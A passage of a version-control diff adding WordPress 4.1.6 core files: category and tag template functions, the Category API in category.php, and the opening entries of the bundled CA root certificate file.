+		$cat_name = apply_filters( 'list_cats', $category->name, $category );
+
+		$output .= "\t<option class=\"level-$depth\" value=\"".$category->term_id."\"";
+		if ( $category->term_id == $args['selected'] )
+			$output .= ' selected="selected"';
+		$output .= '>';
+		$output .= $pad.$cat_name;
+		if ( $args['show_count'] )
+			$output .= '&nbsp;&nbsp;('. number_format_i18n( $category->count ) .')';
+		$output .= "</option>\n";
+	}
+}
+
+//
+// Tags
+//
+
+/**
+ * Retrieve the link to the tag.
+ *
+ * @since 2.3.0
+ * @see get_term_link()
+ *
+ * @param int|object $tag Tag ID or object.
+ * @return string Link on success, empty string if tag does not exist.
+ */
+function get_tag_link( $tag ) {
+	if ( ! is_object( $tag ) )
+		$tag = (int) $tag;
+
+	$tag = get_term_link( $tag, 'post_tag' );
+
+	if ( is_wp_error( $tag ) )
+		return '';
+
+	return $tag;
+}
+
+/**
+ * Retrieve the tags for a post.
+ *
+ * @since 2.3.0
+ *
+ * @param int $id Post ID.
+ * @return array|bool Array of tag objects on success, false on failure.
+ */
+function get_the_tags( $id = 0 ) {
+
+	/**
+	 * Filter the array of tags for the given post.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @see get_the_terms()
+	 *
+	 * @param array $terms An array of tags for the given post.
+	 */
+	return apply_filters( 'get_the_tags', get_the_terms( $id, 'post_tag' ) );
+}
+
+/**
+ * Retrieve the tags for a post formatted as a string.
+ *
+ * @since 2.3.0
+ *
+ * @param string $before Optional. Before tags.
+ * @param string $sep Optional. Between tags.
+ * @param string $after Optional. After tags.
+ * @param int $id Optional. Post ID. Defaults to the current post.
+ * @return string|bool|WP_Error A list of tags on success, false if there are no terms, WP_Error on failure.
+ */
+function get_the_tag_list( $before = '', $sep = '', $after = '', $id = 0 ) {
+
+	/**
+	 * Filter the tags list for a given post.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $tag_list List of tags.
+	 * @param string $before   String to use before tags.
+	 * @param string $sep      String to use between the tags.
+	 * @param string $after    String to use after tags.
+	 * @param int    $id       Post ID.
+	 */
+	return apply_filters( 'the_tags', get_the_term_list( $id, 'post_tag', $before, $sep, $after ), $before, $sep, $after, $id );
+}
+
+/**
+ * Retrieve the tags for a post.
+ *
+ * @since 2.3.0
+ *
+ * @param string $before Optional. Before list.
+ * @param string $sep Optional. Separate items using this.
+ * @param string $after Optional. After list.
+ */
+function the_tags( $before = null, $sep = ', ', $after = '' ) {
+	if ( null === $before )
+		$before = __('Tags: ');
+	echo get_the_tag_list($before, $sep, $after);
+}
+
+/**
+ * Retrieve tag description.
+ *
+ * @since 2.8.0
+ *
+ * @param int $tag Optional. Tag ID. Will use global tag ID by default.
+ * @return string Tag description, available.
+ */
+function tag_description( $tag = 0 ) {
+	return term_description( $tag );
+}
+
+/**
+ * Retrieve term description.
+ *
+ * @since 2.8.0
+ *
+ * @param int $term Optional. Term ID. Will use global term ID by default.
+ * @param string $taxonomy Optional taxonomy name. Defaults to 'post_tag'.
+ * @return string Term description, available.
+ */
+function term_description( $term = 0, $taxonomy = 'post_tag' ) {
+	if ( ! $term && ( is_tax() || is_tag() || is_category() ) ) {
+		$term = get_queried_object();
+		if ( $term ) {
+			$taxonomy = $term->taxonomy;
+			$term = $term->term_id;
+		}
+	}
+	$description = get_term_field( 'description', $term, $taxonomy );
+	return is_wp_error( $description ) ? '' : $description;
+}
+
+/**
+ * Retrieve the terms of the taxonomy that are attached to the post.
+ *
+ * @since 2.5.0
+ *
+ * @param int|object $post Post ID or object.
+ * @param string $taxonomy Taxonomy name.
+ * @return array|bool|WP_Error Array of term objects on success, false if there are no terms
+ *                             or the post does not exist, WP_Error on failure.
+ */
+function get_the_terms( $post, $taxonomy ) {
+	if ( ! $post = get_post( $post ) )
+		return false;
+
+	$terms = get_object_term_cache( $post->ID, $taxonomy );
+	if ( false === $terms ) {
+		$terms = wp_get_object_terms( $post->ID, $taxonomy );
+		wp_cache_add($post->ID, $terms, $taxonomy . '_relationships');
+	}
+
+	/**
+	 * Filter the list of terms attached to the given post.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param array|WP_Error $terms    List of attached terms, or WP_Error on failure.
+	 * @param int            $post_id  Post ID.
+	 * @param string         $taxonomy Name of the taxonomy.
+	 */
+	$terms = apply_filters( 'get_the_terms', $terms, $post->ID, $taxonomy );
+
+	if ( empty( $terms ) )
+		return false;
+
+	return $terms;
+}
+
+/**
+ * Retrieve a post's terms as a list with specified format.
+ *
+ * @since 2.5.0
+ *
+ * @param int $id Post ID.
+ * @param string $taxonomy Taxonomy name.
+ * @param string $before Optional. Before list.
+ * @param string $sep Optional. Separate items using this.
+ * @param string $after Optional. After list.
+ * @return string|bool|WP_Error A list of terms on success, false if there are no terms, WP_Error on failure.
+ */
+function get_the_term_list( $id, $taxonomy, $before = '', $sep = '', $after = '' ) {
+	$terms = get_the_terms( $id, $taxonomy );
+
+	if ( is_wp_error( $terms ) )
+		return $terms;
+
+	if ( empty( $terms ) )
+		return false;
+
+	foreach ( $terms as $term ) {
+		$link = get_term_link( $term, $taxonomy );
+		if ( is_wp_error( $link ) )
+			return $link;
+		$term_links[] = '<a href="' . esc_url( $link ) . '" rel="tag">' . $term->name . '</a>';
+	}
+
+	/**
+	 * Filter the term links for a given taxonomy.
+	 *
+	 * The dynamic portion of the filter name, `$taxonomy`, refers
+	 * to the taxonomy slug.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param array $term_links An array of term links.
+	 */
+	$term_links = apply_filters( "term_links-$taxonomy", $term_links );
+
+	return $before . join( $sep, $term_links ) . $after;
+}
+
+/**
+ * Display the terms in a list.
+ *
+ * @since 2.5.0
+ *
+ * @param int $id Post ID.
+ * @param string $taxonomy Taxonomy name.
+ * @param string $before Optional. Before list.
+ * @param string $sep Optional. Separate items using this.
+ * @param string $after Optional. After list.
+ * @return false|null False on WordPress error. Returns null when displaying.
+ */
+function the_terms( $id, $taxonomy, $before = '', $sep = ', ', $after = '' ) {
+	$term_list = get_the_term_list( $id, $taxonomy, $before, $sep, $after );
+
+	if ( is_wp_error( $term_list ) )
+		return false;
+
+	/**
+	 * Filter the list of terms to display.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param array  $term_list List of terms to display.
+	 * @param string $taxonomy  The taxonomy name.
+	 * @param string $before    String to use before the terms.
+	 * @param string $sep       String to use between the terms.
+	 * @param string $after     String to use after the terms.
+	 */
+	echo apply_filters( 'the_terms', $term_list, $taxonomy, $before, $sep, $after );
+}
+
+/**
+ * Check if the current post has any of given category.
+ *
+ * @since 3.1.0
+ *
+ * @param string|int|array $category Optional. The category name/term_id/slug or array of them to check for.
+ * @param int|object $post Optional. Post to check instead of the current post.
+ * @return bool True if the current post has any of the given categories (or any category, if no category specified).
+ */
+function has_category( $category = '', $post = null ) {
+	return has_term( $category, 'category', $post );
+}
+
+/**
+ * Check if the current post has any of given tags.
+ *
+ * The given tags are checked against the post's tags' term_ids, names and slugs.
+ * Tags given as integers will only be checked against the post's tags' term_ids.
+ * If no tags are given, determines if post has any tags.
+ *
+ * Prior to v2.7 of WordPress, tags given as integers would also be checked against the post's tags' names and slugs (in addition to term_ids)
+ * Prior to v2.7, this function could only be used in the WordPress Loop.
+ * As of 2.7, the function can be used anywhere if it is provided a post ID or post object.
+ *
+ * @since 2.6.0
+ *
+ * @param string|int|array $tag Optional. The tag name/term_id/slug or array of them to check for.
+ * @param int|object $post Optional. Post to check instead of the current post. (since 2.7.0)
+ * @return bool True if the current post has any of the given tags (or any tag, if no tag specified).
+ */
+function has_tag( $tag = '', $post = null ) {
+	return has_term( $tag, 'post_tag', $post );
+}
+
+/**
+ * Check if the current post has any of given terms.
+ *
+ * The given terms are checked against the post's terms' term_ids, names and slugs.
+ * Terms given as integers will only be checked against the post's terms' term_ids.
+ * If no terms are given, determines if post has any terms.
+ *
+ * @since 3.1.0
+ *
+ * @param string|int|array $term Optional. The term name/term_id/slug or array of them to check for.
+ * @param string $taxonomy Taxonomy name
+ * @param int|object $post Optional. Post to check instead of the current post.
+ * @return bool True if the current post has any of the given tags (or any tag, if no tag specified).
+ */
+function has_term( $term = '', $taxonomy = '', $post = null ) {
+	$post = get_post($post);
+
+	if ( !$post )
+		return false;
+
+	$r = is_object_in_term( $post->ID, $taxonomy, $term );
+	if ( is_wp_error( $r ) )
+		return false;
+
+	return $r;
+}
Index: /tags/4.1.6/src/wp-includes/category.php
===================================================================
--- /tags/4.1.6/src/wp-includes/category.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/category.php	(revision 33402)
@@ -0,0 +1,339 @@
+<?php
+/**
+ * WordPress Category API
+ *
+ * @package WordPress
+ */
+
+/**
+ * Retrieve list of category objects.
+ *
+ * If you change the type to 'link' in the arguments, then the link categories
+ * will be returned instead. Also all categories will be updated to be backwards
+ * compatible with pre-2.3 plugins and themes.
+ *
+ * @since 2.1.0
+ * @see get_terms() Type of arguments that can be changed.
+ * @link http://codex.wordpress.org/Function_Reference/get_categories
+ *
+ * @param string|array $args Optional. Change the defaults retrieving categories.
+ * @return array List of categories.
+ */
+function get_categories( $args = '' ) {
+	$defaults = array( 'taxonomy' => 'category' );
+	$args = wp_parse_args( $args, $defaults );
+
+	$taxonomy = $args['taxonomy'];
+
+	/**
+	 * Filter the taxonomy used to retrieve terms when calling {@see get_categories()}.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string $taxonomy Taxonomy to retrieve terms from.
+	 * @param array  $args     An array of arguments. See {@see get_terms()}.
+	 */
+	$taxonomy = apply_filters( 'get_categories_taxonomy', $taxonomy, $args );
+
+	// Back compat
+	if ( isset($args['type']) && 'link' == $args['type'] ) {
+		_deprecated_argument( __FUNCTION__, '3.0', '' );
+		$taxonomy = $args['taxonomy'] = 'link_category';
+	}
+
+	$categories = (array) get_terms( $taxonomy, $args );
+
+	foreach ( array_keys( $categories ) as $k )
+		_make_cat_compat( $categories[$k] );
+
+	return $categories;
+}
+
+/**
+ * Retrieves category data given a category ID or category object.
+ *
+ * If you pass the $category parameter an object, which is assumed to be the
+ * category row object retrieved the database. It will cache the category data.
+ *
+ * If you pass $category an integer of the category ID, then that category will
+ * be retrieved from the database, if it isn't already cached, and pass it back.
+ *
+ * If you look at get_term(), then both types will be passed through several
+ * filters and finally sanitized based on the $filter parameter value.
+ *
+ * The category will converted to maintain backwards compatibility.
+ *
+ * @since 1.5.1
+ *
+ * @param int|object $category Category ID or Category row object
+ * @param string $output Optional. Constant OBJECT, ARRAY_A, or ARRAY_N
+ * @param string $filter Optional. Default is raw or no WordPress defined filter will applied.
+ * @return object|array|WP_Error|null Category data in type defined by $output parameter. WP_Error if $category is empty, null if it does not exist.
+ */
+function get_category( $category, $output = OBJECT, $filter = 'raw' ) {
+	$category = get_term( $category, 'category', $output, $filter );
+
+	if ( is_wp_error( $category ) )
+		return $category;
+
+	_make_cat_compat( $category );
+
+	return $category;
+}
+
+/**
+ * Retrieve category based on URL containing the category slug.
+ *
+ * Breaks the $category_path parameter up to get the category slug.
+ *
+ * Tries to find the child path and will return it. If it doesn't find a
+ * match, then it will return the first category matching slug, if $full_match,
+ * is set to false. If it does not, then it will return null.
+ *
+ * It is also possible that it will return a WP_Error object on failure. Check
+ * for it when using this function.
+ *
+ * @since 2.1.0
+ *
+ * @param string $category_path URL containing category slugs.
+ * @param bool $full_match Optional. Whether full path should be matched.
+ * @param string $output Optional. Constant OBJECT, ARRAY_A, or ARRAY_N
+ * @return null|object|array Null on failure. Type is based on $output value.
+ */
+function get_category_by_path( $category_path, $full_match = true, $output = OBJECT ) {
+	$category_path = rawurlencode( urldecode( $category_path ) );
+	$category_path = str_replace( '%2F', '/', $category_path );
+	$category_path = str_replace( '%20', ' ', $category_path );
+	$category_paths = '/' . trim( $category_path, '/' );
+	$leaf_path  = sanitize_title( basename( $category_paths ) );
+	$category_paths = explode( '/', $category_paths );
+	$full_path = '';
+	foreach ( (array) $category_paths as $pathdir )
+		$full_path .= ( $pathdir != '' ? '/' : '' ) . sanitize_title( $pathdir );
+
+	$categories = get_terms( 'category', array('get' => 'all', 'slug' => $leaf_path) );
+
+	if ( empty( $categories ) )
+		return null;
+
+	foreach ( $categories as $category ) {
+		$path = '/' . $leaf_path;
+		$curcategory = $category;
+		while ( ( $curcategory->parent != 0 ) && ( $curcategory->parent != $curcategory->term_id ) ) {
+			$curcategory = get_term( $curcategory->parent, 'category' );
+			if ( is_wp_error( $curcategory ) )
+				return $curcategory;
+			$path = '/' . $curcategory->slug . $path;
+		}
+
+		if ( $path == $full_path ) {
+			$category = get_term( $category->term_id, 'category', $output );
+			_make_cat_compat( $category );
+			return $category;
+		}
+	}
+
+	// If full matching is not required, return the first cat that matches the leaf.
+	if ( ! $full_match ) {
+		$category = get_term( reset( $categories )->term_id, 'category', $output );
+		_make_cat_compat( $category );
+		return $category;
+	}
+
+	return null;
+}
+
+/**
+ * Retrieve category object by category slug.
+ *
+ * @since 2.3.0
+ *
+ * @param string $slug The category slug.
+ * @return object Category data object
+ */
+function get_category_by_slug( $slug  ) {
+	$category = get_term_by( 'slug', $slug, 'category' );
+	if ( $category )
+		_make_cat_compat( $category );
+
+	return $category;
+}
+
+/**
+ * Retrieve the ID of a category from its name.
+ *
+ * @since 1.0.0
+ *
+ * @param string $cat_name Category name.
+ * @return int 0, if failure and ID of category on success.
+ */
+function get_cat_ID( $cat_name ) {
+	$cat = get_term_by( 'name', $cat_name, 'category' );
+	if ( $cat )
+		return $cat->term_id;
+	return 0;
+}
+
+/**
+ * Retrieve the name of a category from its ID.
+ *
+ * @since 1.0.0
+ *
+ * @param int $cat_id Category ID
+ * @return string Category name, or an empty string if category doesn't exist.
+ */
+function get_cat_name( $cat_id ) {
+	$cat_id = (int) $cat_id;
+	$category = get_term( $cat_id, 'category' );
+	if ( ! $category || is_wp_error( $category ) )
+		return '';
+	return $category->name;
+}
+
+/**
+ * Check if a category is an ancestor of another category.
+ *
+ * You can use either an id or the category object for both parameters. If you
+ * use an integer the category will be retrieved.
+ *
+ * @since 2.1.0
+ *
+ * @param int|object $cat1 ID or object to check if this is the parent category.
+ * @param int|object $cat2 The child category.
+ * @return bool Whether $cat2 is child of $cat1
+ */
+function cat_is_ancestor_of( $cat1, $cat2 ) {
+	return term_is_ancestor_of( $cat1, $cat2, 'category' );
+}
+
+/**
+ * Sanitizes category data based on context.
+ *
+ * @since 2.3.0
+ *
+ * @param object|array $category Category data
+ * @param string $context Optional. Default is 'display'.
+ * @return object|array Same type as $category with sanitized data for safe use.
+ */
+function sanitize_category( $category, $context = 'display' ) {
+	return sanitize_term( $category, 'category', $context );
+}
+
+/**
+ * Sanitizes data in single category key field.
+ *
+ * @since 2.3.0
+ *
+ * @param string $field Category key to sanitize
+ * @param mixed $value Category value to sanitize
+ * @param int $cat_id Category ID
+ * @param string $context What filter to use, 'raw', 'display', etc.
+ * @return mixed Same type as $value after $value has been sanitized.
+ */
+function sanitize_category_field( $field, $value, $cat_id, $context ) {
+	return sanitize_term_field( $field, $value, $cat_id, 'category', $context );
+}
+
+/* Tags */
+
+/**
+ * Retrieves all post tags.
+ *
+ * @since 2.3.0
+ * @see get_terms() For list of arguments to pass.
+ *
+ * @param string|array $args Tag arguments to use when retrieving tags.
+ * @return array List of tags.
+ */
+function get_tags( $args = '' ) {
+	$tags = get_terms( 'post_tag', $args );
+
+	if ( empty( $tags ) ) {
+		$return = array();
+		return $return;
+	}
+
+	/**
+	 * Filter the array of term objects returned for the 'post_tag' taxonomy.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param array $tags Array of 'post_tag' term objects.
+	 * @param array $args An array of arguments. @see get_terms()
+	 */
+	$tags = apply_filters( 'get_tags', $tags, $args );
+	return $tags;
+}
+
+/**
+ * Retrieve post tag by tag ID or tag object.
+ *
+ * If you pass the $tag parameter an object, which is assumed to be the tag row
+ * object retrieved the database. It will cache the tag data.
+ *
+ * If you pass $tag an integer of the tag ID, then that tag will
+ * be retrieved from the database, if it isn't already cached, and pass it back.
+ *
+ * If you look at get_term(), then both types will be passed through several
+ * filters and finally sanitized based on the $filter parameter value.
+ *
+ * @since 2.3.0
+ *
+ * @param int|object $tag
+ * @param string $output Optional. Constant OBJECT, ARRAY_A, or ARRAY_N
+ * @param string $filter Optional. Default is raw or no WordPress defined filter will applied.
+ * @return object|array|WP_Error|null Tag data in type defined by $output parameter. WP_Error if $tag is empty, null if it does not exist.
+ */
+function get_tag( $tag, $output = OBJECT, $filter = 'raw' ) {
+	return get_term( $tag, 'post_tag', $output, $filter );
+}
+
+/* Cache */
+
+/**
+ * Remove the category cache data based on ID.
+ *
+ * @since 2.1.0
+ *
+ * @param int $id Category ID
+ */
+function clean_category_cache( $id ) {
+	clean_term_cache( $id, 'category' );
+}
+
+/**
+ * Update category structure to old pre 2.3 from new taxonomy structure.
+ *
+ * This function was added for the taxonomy support to update the new category
+ * structure with the old category one. This will maintain compatibility with
+ * plugins and themes which depend on the old key or property names.
+ *
+ * The parameter should only be passed a variable and not create the array or
+ * object inline to the parameter. The reason for this is that parameter is
+ * passed by reference and PHP will fail unless it has the variable.
+ *
+ * There is no return value, because everything is updated on the variable you
+ * pass to it. This is one of the features with using pass by reference in PHP.
+ *
+ * @since 2.3.0
+ * @access private
+ *
+ * @param array|object $category Category Row object or array
+ */
+function _make_cat_compat( &$category ) {
+	if ( is_object( $category ) ) {
+		$category->cat_ID = &$category->term_id;
+		$category->category_count = &$category->count;
+		$category->category_description = &$category->description;
+		$category->cat_name = &$category->name;
+		$category->category_nicename = &$category->slug;
+		$category->category_parent = &$category->parent;
+	} elseif ( is_array( $category ) && isset( $category['term_id'] ) ) {
+		$category['cat_ID'] = &$category['term_id'];
+		$category['category_count'] = &$category['count'];
+		$category['category_description'] = &$category['description'];
+		$category['cat_name'] = &$category['name'];
+		$category['category_nicename'] = &$category['slug'];
+		$category['category_parent'] = &$category['parent'];
+	}
+}
Index: /tags/4.1.6/src/wp-includes/certificates/ca-bundle.crt
===================================================================
--- /tags/4.1.6/src/wp-includes/certificates/ca-bundle.crt	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/certificates/ca-bundle.crt	(revision 33402)
@@ -0,0 +1,3785 @@
+##
+## src/wp-includes/certificates/ca-bundle.crt -- Bundle of CA Root Certificates
+##
+## Certificate data from Mozilla as of: Tue Jan 28 09:38:07 2014
+##
+## This is a bundle of X.509 certificates of public Certificate Authorities
+## (CA). These were automatically extracted from Mozilla's root certificates
+## file (certdata.txt).  This file can be found in the mozilla source tree:
+## http://mxr.mozilla.org/mozilla-release/source/security/nss/lib/ckfw/builtins/certdata.txt?raw=1
+##
+## It contains the certificates in PEM format and therefore
+## can be directly used with curl / libcurl / php_curl, or with
+## an Apache+mod_ssl webserver for SSL client authentication.
+## Just configure this file as the SSLCACertificateFile.
+##
+
+
+EE Certification Centre Root CA
+===============================
+-----BEGIN CERTIFICATE-----
+MIIEAzCCAuugAwIBAgIQVID5oHPtPwBMyonY43HmSjANBgkqhkiG9w0BAQUFADB1MQswCQYDVQQG
+EwJFRTEiMCAGA1UECgwZQVMgU2VydGlmaXRzZWVyaW1pc2tlc2t1czEoMCYGA1UEAwwfRUUgQ2Vy
+dGlmaWNhdGlvbiBDZW50cmUgUm9vdCBDQTEYMBYGCSqGSIb3DQEJARYJcGtpQHNrLmVlMCIYDzIw
+MTAxMDMwMTAxMDMwWhgPMjAzMDEyMTcyMzU5NTlaMHUxCzAJBgNVBAYTAkVFMSIwIAYDVQQKDBlB
+UyBTZXJ0aWZpdHNlZXJpbWlza2Vza3VzMSgwJgYDVQQDDB9FRSBDZXJ0aWZpY2F0aW9uIENlbnRy
+ZSBSb290IENBMRgwFgYJKoZIhvcNAQkBFglwa2lAc2suZWUwggEiMA0GCSqGSIb3DQEBAQUAA4IB
+DwAwggEKAoIBAQDIIMDs4MVLqwd4lfNE7vsLDP90jmG7sWLqI9iroWUyeuuOF0+W2Ap7kaJjbMeM
+TC55v6kF/GlclY1i+blw7cNRfdCT5mzrMEvhvH2/UpvObntl8jixwKIy72KyaOBhU8E2lf/slLo2
+rpwcpzIP5Xy0xm90/XsY6KxX7QYgSzIwWFv9zajmofxwvI6Sc9uXp3whrj3B9UiHbCe9nyV0gVWw
+93X2PaRka9ZP585ArQ/dMtO8ihJTmMmJ+xAdTX7Nfh9WDSFwhfYggx/2uh8Ej+p3iDXE/+pOoYtN
+P2MbRMNE1CV2yreN1x5KZmTNXMWcg+HCCIia7E6j8T4cLNlsHaFLAgMBAAGjgYowgYcwDwYDVR0T
+AQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFBLyWj7qVhy/zQas8fElyalL1BSZ
+MEUGA1UdJQQ+MDwGCCsGAQUFBwMCBggrBgEFBQcDAQYIKwYBBQUHAwMGCCsGAQUFBwMEBggrBgEF
+BQcDCAYIKwYBBQUHAwkwDQYJKoZIhvcNAQEFBQADggEBAHv25MANqhlHt01Xo/6tu7Fq1Q+e2+Rj
+xY6hUFaTlrg4wCQiZrxTFGGVv9DHKpY5P30osxBAIWrEr7BSdxjhlthWXePdNl4dp1BUoMUq5KqM
+lIpPnTX/dqQGE5Gion0ARD9V04I8GtVbvFZMIi5GQ4okQC3zErg7cBqklrkar4dBGmoYDQZPxz5u
+uSlNDUmJEYcyW+ZLBMjkXOZ0c5RdFpgTlf7727FE5TpwrDdr5rMzcijJs1eg9gIWiAYLtqZLICjU
+3j2LrTcFU3T+bsy8QxdxXvnFzBqpYe73dgzzcvRyrc9yAjYHR8/vGVCJYMzpJJUPwssd8m92kMfM
+dcGWxZ0=
+-----END CERTIFICATE-----
+
+GTE CyberTrust Global Root
+==========================
+-----BEGIN CERTIFICATE-----
+MIICWjCCAcMCAgGlMA0GCSqGSIb3DQEBBAUAMHUxCzAJBgNVBAYTAlVTMRgwFgYDVQQKEw9HVEUg
+Q29ycG9yYXRpb24xJzAlBgNVBAsTHkdURSBDeWJlclRydXN0IFNvbHV0aW9ucywgSW5jLjEjMCEG
+A1UEAxMaR1RFIEN5YmVyVHJ1c3QgR2xvYmFsIFJvb3QwHhcNOTgwODEzMDAyOTAwWhcNMTgwODEz
+MjM1OTAwWjB1MQswCQYDVQQGEwJVUzEYMBYGA1UEChMPR1RFIENvcnBvcmF0aW9uMScwJQYDVQQL
+Ex5HVEUgQ3liZXJUcnVzdCBTb2x1dGlvbnMsIEluYy4xIzAhBgNVBAMTGkdURSBDeWJlclRydXN0
+IEdsb2JhbCBSb290MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCVD6C28FCc6HrHiM3dFw4u
+sJTQGz0O9pTAipTHBsiQl8i4ZBp6fmw8U+E3KHNgf7KXUwefU/ltWJTSr41tiGeA5u2ylc9yMcql
+HHK6XALnZELn+aks1joNrI1CqiQBOeacPwGFVw1Yh0X404Wqk2kmhXBIgD8SFcd5tB8FLztimQID
+AQABMA0GCSqGSIb3DQEBBAUAA4GBAG3rGwnpXtlR22ciYaQqPEh346B8pt5zohQDhT37qw4wxYMW
+M4ETCJ57NE7fQMh017l93PR2VX2bY1QY6fDq81yx2YtCHrnAlU66+tXifPVoYb+O7AWXX1uw16OF
+NMQkpw0PlZPvy5TYnh+dXIVtx6quTx8itc2VrbqnzPmrC3p/
+-----END CERTIFICATE-----
+
+Thawte Server CA
+================
+-----BEGIN CERTIFICATE-----
+MIIDEzCCAnygAwIBAgIBATANBgkqhkiG9w0BAQQFADCBxDELMAkGA1UEBhMCWkExFTATBgNVBAgT
+DFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMR0wGwYDVQQKExRUaGF3dGUgQ29uc3Vs
+dGluZyBjYzEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEZMBcGA1UE
+AxMQVGhhd3RlIFNlcnZlciBDQTEmMCQGCSqGSIb3DQEJARYXc2VydmVyLWNlcnRzQHRoYXd0ZS5j
+b20wHhcNOTYwODAxMDAwMDAwWhcNMjAxMjMxMjM1OTU5WjCBxDELMAkGA1UEBhMCWkExFTATBgNV
+BAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMR0wGwYDVQQKExRUaGF3dGUgQ29u
+c3VsdGluZyBjYzEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEZMBcG
+A1UEAxMQVGhhd3RlIFNlcnZlciBDQTEmMCQGCSqGSIb3DQEJARYXc2VydmVyLWNlcnRzQHRoYXd0
+ZS5jb20wgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBANOkUG7I/1Zr5s9dtuoMaHVHoqrC2oQl
+/Kj0R1HahbUgdJSGHg91yekIYfUGbTBuFRkC6VLAYttNmZ7iagxEOM3+vuNkCXDF/rFrKbYvScg7
+1CcEJRCXL+eQbcAoQpnXTEPew/UhbVSfXcNY4cDk2VuwuNy0e982OsK1ZiIS1ocNAgMBAAGjEzAR
+MA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEEBQADgYEAB/pMaVz7lcxG7oWDTSEwjsrZqG9J
+GubaUeNgcGyEYRGhGshIPllDfU+VPaGLtwtimHp1it2ITk6eQNuozDJ0uW8NxuOzRAvZim+aKZuZ
+GCg70eNAKJpaPNW15yAbi8qkq43pUdniTCxZqdq5snUb9kLy78fyGPmJvKP/iiMucEc=
+-----END CERTIFICATE-----
+
+Thawte Premium Server CA
+========================
+-----BEGIN CERTIFICATE-----
+MIIDJzCCApCgAwIBAgIBATANBgkqhkiG9w0BAQQFADCBzjELMAkGA1UEBhMCWkExFTATBgNVBAgT
+DFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMR0wGwYDVQQKExRUaGF3dGUgQ29uc3Vs
+dGluZyBjYzEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UE
+AxMYVGhhd3RlIFByZW1pdW0gU2VydmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZl
+ckB0aGF3dGUuY29tMB4XDTk2MDgwMTAwMDAwMFoXDTIwMTIzMTIzNTk1OVowgc4xCzAJBgNVBAYT
+AlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEdMBsGA1UEChMU
+VGhhd3RlIENvbnN1bHRpbmcgY2MxKDAmBgNVBAsTH0NlcnRpZmljYXRpb24gU2VydmljZXMgRGl2
+aXNpb24xITAfBgNVBAMTGFRoYXd0ZSBQcmVtaXVtIFNlcnZlciBDQTEoMCYGCSqGSIb3DQEJARYZ
+cHJlbWl1bS1zZXJ2ZXJAdGhhd3RlLmNvbTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA0jY2
+aovXwlue2oFBYo847kkEVdbQ7xwblRZH7xhINTpS9CtqBo87L+pW46+GjZ4X9560ZXUCTe/LCaIh
+Udib0GfQug2SBhRz1JPLlyoAnFxODLz6FVL88kRu2hFKbgifLy3j+ao6hnO2RlNYyIkFvYMRuHM/
+qgeN9EJN50CdHDcCAwEAAaMTMBEwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQQFAAOBgQAm
+SCwWwlj66BZ0DKqqX1Q/8tfJeGBeXm43YyJ3Nn6yF8Q0ufUIhfzJATj/Tb7yFkJD57taRvvBxhEf
+8UqwKEbJw8RCfbz6q1lu1bdRiBHjpIUZa4JMpAwSremkrj/xw0llmozFyD4lt5SZu5IycQfwhl7t
+UCemDaYj+bvLpgcUQg==
+-----END CERTIFICATE-----
+
+Equifax Secure CA
+=================
+-----BEGIN CERTIFICATE-----
+MIIDIDCCAomgAwIBAgIENd70zzANBgkqhkiG9w0BAQUFADBOMQswCQYDVQQGEwJVUzEQMA4GA1UE
+ChMHRXF1aWZheDEtMCsGA1UECxMkRXF1aWZheCBTZWN1cmUgQ2VydGlmaWNhdGUgQXV0aG9yaXR5
+MB4XDTk4MDgyMjE2NDE1MVoXDTE4MDgyMjE2NDE1MVowTjELMAkGA1UEBhMCVVMxEDAOBgNVBAoT
+B0VxdWlmYXgxLTArBgNVBAsTJEVxdWlmYXggU2VjdXJlIENlcnRpZmljYXRlIEF1dGhvcml0eTCB
+nzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAwV2xWGcIYu6gmi0fCG2RFGiYCh7+2gRvE4RiIcPR
+fM6fBeC4AfBONOziipUEZKzxa1NfBbPLZ4C/QgKO/t0BCezhABRP/PvwDN1Dulsr4R+AcJkVV5MW
+8Q+XarfCaCMczE1ZMKxRHjuvK9buY0V7xdlfUNLjUA86iOe/FP3gx7kCAwEAAaOCAQkwggEFMHAG
+A1UdHwRpMGcwZaBjoGGkXzBdMQswCQYDVQQGEwJVUzEQMA4GA1UEChMHRXF1aWZheDEtMCsGA1UE
+CxMkRXF1aWZheCBTZWN1cmUgQ2VydGlmaWNhdGUgQXV0aG9yaXR5MQ0wCwYDVQQDEwRDUkwxMBoG
+A1UdEAQTMBGBDzIwMTgwODIyMTY0MTUxWjALBgNVHQ8EBAMCAQYwHwYDVR0jBBgwFoAUSOZo+SvS
+spXXR9gjIBBPM5iQn9QwHQYDVR0OBBYEFEjmaPkr0rKV10fYIyAQTzOYkJ/UMAwGA1UdEwQFMAMB
+Af8wGgYJKoZIhvZ9B0EABA0wCxsFVjMuMGMDAgbAMA0GCSqGSIb3DQEBBQUAA4GBAFjOKer89961
+zgK5F7WF0bnj4JXMJTENAKaSbn+2kmOeUJXRmm/kEd5jhW6Y7qj/WsjTVbJmcVfewCHrPSqnI0kB
